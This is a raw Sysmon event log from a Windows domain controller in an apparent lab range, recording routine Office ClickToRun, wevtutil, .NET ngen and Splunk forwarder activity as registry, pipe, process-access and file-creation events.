13241300x800000000000000042159Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:11.977{7BD73061-6F3B-613B-D108-00000000F001}5472C:\Windows\System32\wevtutil.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\AirSpaceChannel\OwningPublisher{f562bb8e-422d-4b5c-b20e-90d710f7d11c} 18141800x800000000000000042158Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.961{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000042157Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.930{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F3B-613B-D308-00000000F001}2180C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042156Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.914{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F3B-613B-D308-00000000F001}2180C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042155Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.914{7BD73061-6F29-613B-3408-00000000F001}55565184C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F3B-613B-D308-00000000F001}2180C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d19b(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d23f(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d2bd(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 18141800x800000000000000042154Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.914{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000042153Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.898{7BD73061-6F3B-613B-D208-00000000F001}55365852C:\Windows\system32\conhost.exe{7BD73061-6F3B-613B-D108-00000000F001}5472C:\Windows\System32\wevtutil.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000042152Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.898{7BD73061-6E00-613B-E006-00000000F001}5992\FTA_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000042151Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.883{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F3B-613B-D208-00000000F001}5536C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042150Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.883{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042149Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.883{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042148Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.883{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042147Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.883{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042146Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.883{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F3B-613B-D108-00000000F001}5472C:\Windows\System32\wevtutil.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042145Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.883{7BD73061-6F39-613B-9F08-00000000F001}33286668C:\Program Files\Microsoft Office\root\integration\integrator.exe{7BD73061-6F3B-613B-D108-00000000F001}5472C:\Windows\System32\wevtutil.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\Microsoft Office\root\integration\integrator.exe+9a0a1|C:\Program Files\Microsoft Office\root\integration\integrator.exe+9a250|C:\Program Files\Microsoft Office\root\integration\integrator.exe+305077|C:\Program Files\Microsoft Office\root\integration\integrator.exe+2fa81e|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000042144Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.893{7BD73061-6F3B-613B-D108-00000000F001}5472C:\Windows\System32\wevtutil.exe10.0.14393.2430 (rs1_release_inmarket_aim.180806-1810)Eventing Command Line UtilityMicrosoft® Windows® Operating SystemMicrosoft Corporationwevtutil.exewevtutil.exe im "C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\AirSpace.Etw.man" /rf:"C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\mso.dll" /mf:"C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\mso.dll"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=91803E340A7E7AFDF95A8031F6EF3F3E,SHA256=DCFD99FE08A5D46C52E810FE2F9CC15AC82008975C0A731A11773B11ADE0F3CC,IMPHASH=51FFA3B7FBD1EF82ECE0730B54406E64{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\Integration\Integrator.exeintegrator.exe /I /Extension /Msi MsiName=C2RInt.16.msi,C2RIntLoc.en-us.16.msi,* PackageGUID="9AC08E99-230B-47e8-9721-4577B7F124EA" PackageRoot="C:\Program Files\Microsoft Office\root" 23542300x800000000000000042143Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.883{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\AirSpace.Etw.manMD5=E6882E25933E1F822EDBFE75905A799A,SHA256=5581A2CE207E841CF6C4AD28A7E8D363CCAA95B6AC8CF23F973CA1F2017F25DC,IMPHASH=00000000000000000000000000000000falsefalse - rename failed with status 0xc0000022 354300x800000000000000042142Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.198{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local55531- 18141800x800000000000000042141Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.836{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042140Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.836{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042139Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.836{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042138Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.836{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042137Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.836{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042136Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.836{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042135Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.836{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042134Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.836{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042133Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.836{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 23542300x800000000000000042132Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.758{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SystemMD5=25586D36D0B6ECF0F193F05242AE68B6,SHA256=E5A27EDA2E3FF48AAD12D92833BF34317B3F74C63201FA5B7A363BA70A93D3AF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042131Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.758{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SystemMD5=6CC168D534FCD55C94B7C0BD15AFE0A8,SHA256=4EF778284C55B1CDF98347719CB30766D9C513486DCDC0FB2BCA8B06B28EA40E,IMPHASH=00000000000000000000000000000000falsetrue 18141800x800000000000000042130Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.758{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042129Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.758{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042128Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.758{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 13241300x800000000000000042127Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:11.742{7BD73061-6F3B-613B-CE08-00000000F001}5832C:\Windows\System32\wevtutil.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\WordChannel\TypeDWORD (0x00000003) 13241300x800000000000000042126Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:11.742{7BD73061-6F3B-613B-CE08-00000000F001}5832C:\Windows\System32\wevtutil.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\WordChannel\IsolationDWORD (0x00000000) 13241300x800000000000000042125Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:11.742{7BD73061-6F3B-613B-CE08-00000000F001}5832C:\Windows\System32\wevtutil.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\WordChannel\OwningPublisher{daf0b914-9c1c-450a-81b2-fea7244f6ffa} 18141800x800000000000000042124Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.695{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 23542300x800000000000000042123Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.680{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C57F1DABF1E4918D7D2F6DBA0B69F4E4,SHA256=627E1E4D5A99B39CE366570098AADDCF35655CE5BFA83E502EC1137C0F212693,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000042122Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.648{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F3B-613B-D008-00000000F001}3340C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042121Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.648{7BD73061-6F3B-613B-CF08-00000000F001}64485904C:\Windows\system32\conhost.exe{7BD73061-6F3B-613B-CE08-00000000F001}5832C:\Windows\System32\wevtutil.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000042120Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:11.648{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000042119Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.633{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F3B-613B-D008-00000000F001}3340C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042118Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.633{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F3B-613B-D008-00000000F001}3340C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000042117Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.633{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F3B-613B-CF08-00000000F001}6448C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042116Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.633{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042115Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.633{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042114Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 